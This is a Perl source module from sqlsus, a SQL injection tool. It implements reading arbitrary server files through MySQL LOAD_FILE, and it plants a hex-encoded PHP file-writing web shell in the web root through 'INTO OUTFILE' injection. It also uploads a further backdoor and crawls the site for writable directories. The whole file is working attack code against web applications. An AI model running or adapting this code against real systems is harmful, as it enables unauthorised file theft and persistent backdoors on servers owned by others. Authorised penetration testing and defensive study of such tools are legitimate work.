package file;

# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html

use strict;
use warnings;

use File::Path;
use POSIX;
use HTML::LinkExtractor;
use Time::HiRes qw/sleep/;

use constant LENGTH_URL => 1;

our @fetched_urls;
our @tried_directories;

##################################
sub get_local_file_target {
	my $file = shift;

	my $target_file = $conf::datapath . "/" . $main::server . "/" . $conf::filespath . "/" . $file;
	$target_file =~ s#/+#/#g;

	# relative path
	# simple and stupid way to avoid local file overwrite
	$target_file =~ s#\.\.#dotdot#g;

	if (-f $target_file) {
		return if (&functions::question("$target_file already exists, download and overwrite", qw(y n)) eq "n");
	}

	my $target_path = $target_file;
	$target_path =~ s#/[^/]*$##;
	return ($target_path, $target_file);
}

##################################
sub save_to_local_file {
	my ($target_path, $target_file, $content) = @_;

	eval { mkpath $target_path };
	if (open TARGET, "> $target_file") {
		print TARGET $content;
		close TARGET;
		&msg::info("File successfully saved to $target_file");
	} else {
		&msg::error("Cannot open $target_file for writing : $!");
	}
}


##################################
sub download {
	my $file = shift;

	# remove quotes if any
	if ($file =~ /^(['"])(.*)\1$/) {
		$file = $2;
	}

	if (not $file) {
		&help::usage("download");
		return 0;
	}

	my ($target_path, $target_file) = &get_local_file_target($file);
	return 0 unless $target_file;

	my (@result, @res);
	my $mid_min = 1;
	my $mid_step = ceil ($conf::max_returned_length / ($conf::binary + 1));
	do {
		@res = &select::query("SELECT MID(LOAD_FILE(\"$file\"), $mid_min, $mid_step)", 1);
		push @result, @res if @res;
		$mid_min += $mid_step;
	} while (@res and length($res[0]) == $mid_step);

	if (@result and join ('',@result) ne "\x06") {
		if ($conf::binary) {
			&msg::info("Binary mode enabled : not displaying file's content");
		} else {
			&msg::notice("--- $file ---");
			&msg::notice(join "", @result);
		}
		&save_to_local_file($target_path, $target_file, join "", @result);
	} else {
		&msg::info("Empty record, file not saved");
	}
}

##############################
sub upload_backdoor {
	return 0 unless &test_uploader;
	if (&upload_data($conf::backdoor_name, @main::backdoor_data)) {
		$conf::backdoor = $conf::uploader;
		$conf::backdoor =~ s#/[^/]*$#/$conf::backdoor_name#;
		return 1;
	}
	return 0;
}

##############################
sub test_uploader {
	if (not $conf::uploader) {
		&msg::info("Variable \"uploader\" not set, trying to upload the tiny uploader");
		if (&upload_uploader) {
			&msg::info("Uploader successfully uploaded to $conf::uploader");
		} else {
			&msg::info("No writable directory found to upload the tiny uploader to. (is document_root correctly set ?) (do you need to add '#' to url_end ?) (is crawler_depth set too low ?)") unless &main::is_interrupted();
			return 0;
		}
	}
	return 1;
}

##############################
# used internally by &upload_data
# return 1 if OK, 0 if not
sub send_upload_data {
	my $form = shift;
	my $res = &functions::get_url($conf::uploader, $form);
	if ($res->is_success and $res->content !~ /failed to open stream/) {
		return 1;
	}
	if ($res->content =~ m#<b>(.*)</b>:\s*(.*)<b>#) {
		&msg::notice("$1: $2");
	}
	return 0;
}



##############################
# return 1 if OK, 0 if not
sub upload_data {
	my ($out, @data) = @_;

	my $data_string = join "", @data;
	my %form = (
		t => "$out",
		m => "w",
		d => ""
	);
	for my $current_char (split //, $data_string) {
		return if $main::is_interrupted;
		$form{d} .= $current_char;
		if (&functions::length_above_max_sendable(\&functions::get_url, ($conf::uploader, \%form))) {
			$form{d} =~ s/.$//;
			return 0 unless &send_upload_data(\%form);

			$form{d} = $current_char;
			$form{m} = "a";
		}
	}
	if ($form{d}) {
		return 0 unless &send_upload_data(\%form);
	}
	return 1;
}

##############################
sub upload {
	my ($in, $out) = @_;

	if (not $in or not $out) {
		&help::usage("upload");
		return 0;
	}
	if (not -r $in) {
		&msg::error("Local file \"$in\" not readable");
		return 0;
	}
	return 0 unless &test_uploader;
	open F, "<$in" or &msg::error("Can't open local file \"$in\" for reading : $!");
	my @data = <F>;
	close F;
	if (&upload_data($out, @data)) {
		&msg::info("Local file \"$in\" uploaded as \"$out\" on the remote server");
		return 1;
	} else {
		&msg::info("Failed to upload local file \"$in\" as \"$out\" on the remote server..");
		return 0;
	}
}

##############################
sub try_to_upload_uploader {
	my $directory = shift;

	$directory =~ s#/$##;
	my $file = $conf::document_root . "$directory/$conf::uploader_name";
	$file =~ s#/+#/#g;
	
	&msg::debug("[*] Trying to upload uploader to : $file");

	my $uploader = &functions::string_to_hex('<?php function n($s){if(get_magic_quotes_gpc()){$s=stripslashes($s);}return $s;}@fwrite(@fopen(n($_POST[t]),$_POST[m]),n($_POST[d]));@print $_POST[r];?>');

	# try to upload uploader
	# into outfile needs quotes..
	my $saved_encode_strings = $conf::hex_encode_strings;
	$conf::hex_encode_strings = 0;
	my $url = $conf::url_start . "OR 1 LIMIT 1 INTO OUTFILE '$file' LINES TERMINATED BY $uploader" . $conf::url_end;
	my $res = &select::inject($url);
	$conf::hex_encode_strings = $saved_encode_strings;

	# check if uploader was successfully uploaded, then try to post backdoor
	$directory =~ s/^\///;
	$directory =~ s/\/$//;
	$url = $main::url_base . $directory . "/$conf::uploader_name";

	my $random = &functions::generate_random_string(69, 0..9); 
	my %form = ( r => "$random" );
	$res = &functions::get_url($url, \%form) or return 0;

	if ($res->is_success and (index($res->content, $random) >= 0)) {
		$conf::uploader = "$url";
		return 1;
	}
	return 0;
}

##############################
sub extract_directories {
	my $url = shift;

	my @dirs;
	# extract absolute directory
	$url =~ s#^$main::url_base#/#;
	# remove everything after last /
	$url =~ s#/[^/]*$#/#;
	# and stack directories
	while ($url =~ m#/.*$#) {
		push @dirs, $url;
		last if $url eq "/";
		$url =~ s#/[^/]+(/?)$#/#;
	}
#	&msg::debug2("extract_directories dirs found : " . join (" -- ", @dirs));
	return @dirs;
}

##############################
sub already_fetched {
	my $url = shift;
	my @list = @_;

	$url = $main::url_base . $1 if ($url =~ /^\/(.*)/);
	return grep($_ eq $url, @list);
}

##############################
sub add_fetched {
	my $url = shift;
	my ($list) = @_;

	$url = $main::url_base . $1 if ($url =~ /^\/(.*)/);
	push @$list, $url unless grep($_ eq $url, @$list);
}

# returns an anchor free, arguments free, .. // /./ free URL
##############################
sub cleanup_path {
	my $path = shift;

	# replace /../foo/../bar by /foo/bar
	while ($path =~ /\.\./) {
		$path =~ s#(.*?)([^/]*/?)\.\.#$1#;
	}
	# remove anchors
	$path =~ s/#.*//;
	# remove arguments
	$path =~ s/\?.*//;
	# replace /./ by /
	$path =~ s#/\./#/#g;
	# replace // by /
	$path =~ s#/+#/#g;
	
	return $path;
}


##############################
# returns all the links inside a given URL, pointing to the target website
# RETURN : @links (all starting with /, and not http://...)
sub get_local_links {
	my $url = shift;
	&msg::debug2("get_local_links start : $url");

	# discard some types and things like mailto: javascript:
	return if $url =~ /\.(gif|jpg|jpeg|atom|css|rss|txt|js|3gpp|3gp|7z|asx|asf|avi|bin|exe|dll|bmp|cco|deb|der|pem|crt|dmg|doc|eot|flv|hqx|ico|iso|img|jar|war|ear|jardiff|jng|jnlp|mid|midi|kar|mng|mov|mp3|mpeg|mpg|msi|msp|msm|pdf|pl|pm|png|ppt|prc|pdb|ps|eps|ai|ra|rar|rpm|rtf|run|sea|sit|svg|svgz|swf|tcl|tk|tif|tiff|wbmp|wmlc|wmv|xhtml|xls|xpi|zip)$/i or $url =~ /:/;
	$url = $main::url_base . $1 if ($url =~ /^\/(.*)/);
	my $current_path = (&extract_directories($url))[0];
	
	my $LX = new HTML::LinkExtractor();
	my @links;

	my $res = &functions::get_url($url);
	return if &main::is_interrupted();
	&add_fetched($url, \@fetched_urls);

	$LX->parse(\$res->content);
	for (@{$LX->links}) {
		my $link;
		for my $linktype (qw(href src)) {
			$link = $$_{$linktype} if defined $$_{$linktype};
		}
		next unless defined $link;

		# only consider local links (starting with our url_base, or /)
		if (index($link, $main::url_base) == 0) {
			$link = substr($link, length($main::url_base) - 1);
		} elsif ($link =~ /^http/) {
			next;
		}
		# relative link
		$link = $current_path . $link unless $link =~ /^\//;

		$link = &cleanup_path($link);

		push @links, $link if not grep($_ eq $link, @links);
	}
	&msg::debug2("get_local_links links found : " . join (" -- ", @links));
	return @links;
}

##############################
sub upload_uploader {
	my $link = $conf::url_start;
	$link =~ s/#.*//;
	$link =~ s/\?.*//;

	@tried_directories = ();
	@fetched_urls = ();
	
	&recursive_upload_uploader($link, 1);
}

##############################
sub recursive_upload_uploader {
	my $url = shift;
	my $depth = shift;

	return 0 if (&main::is_interrupted() or $depth > $conf::crawler_depth);
	&msg::debug2("recursive_upload_uploader [$depth] start : $url");
	&msg::debug2("\@fetched_urls : " . join (" -- ", @fetched_urls));
	&msg::debug2("\@tried_directories : " . join (" -- ", @tried_directories));

	my @directories = &extract_directories($url);
	for my $directory (@directories) {
		next if &already_fetched($directory, @tried_directories);
		return 1 if &try_to_upload_uploader($directory);
		&add_fetched($directory, \@tried_directories);
	}
	for my $to_try (@directories, &get_local_links($url)) {
		&msg::debug2("recursive_upload_uploader [$depth] loop processing : $to_try");
		next if &already_fetched($to_try, @fetched_urls);
		return 1 if &recursive_upload_uploader($to_try, $depth + 1);
	}
	return 0;
}

1
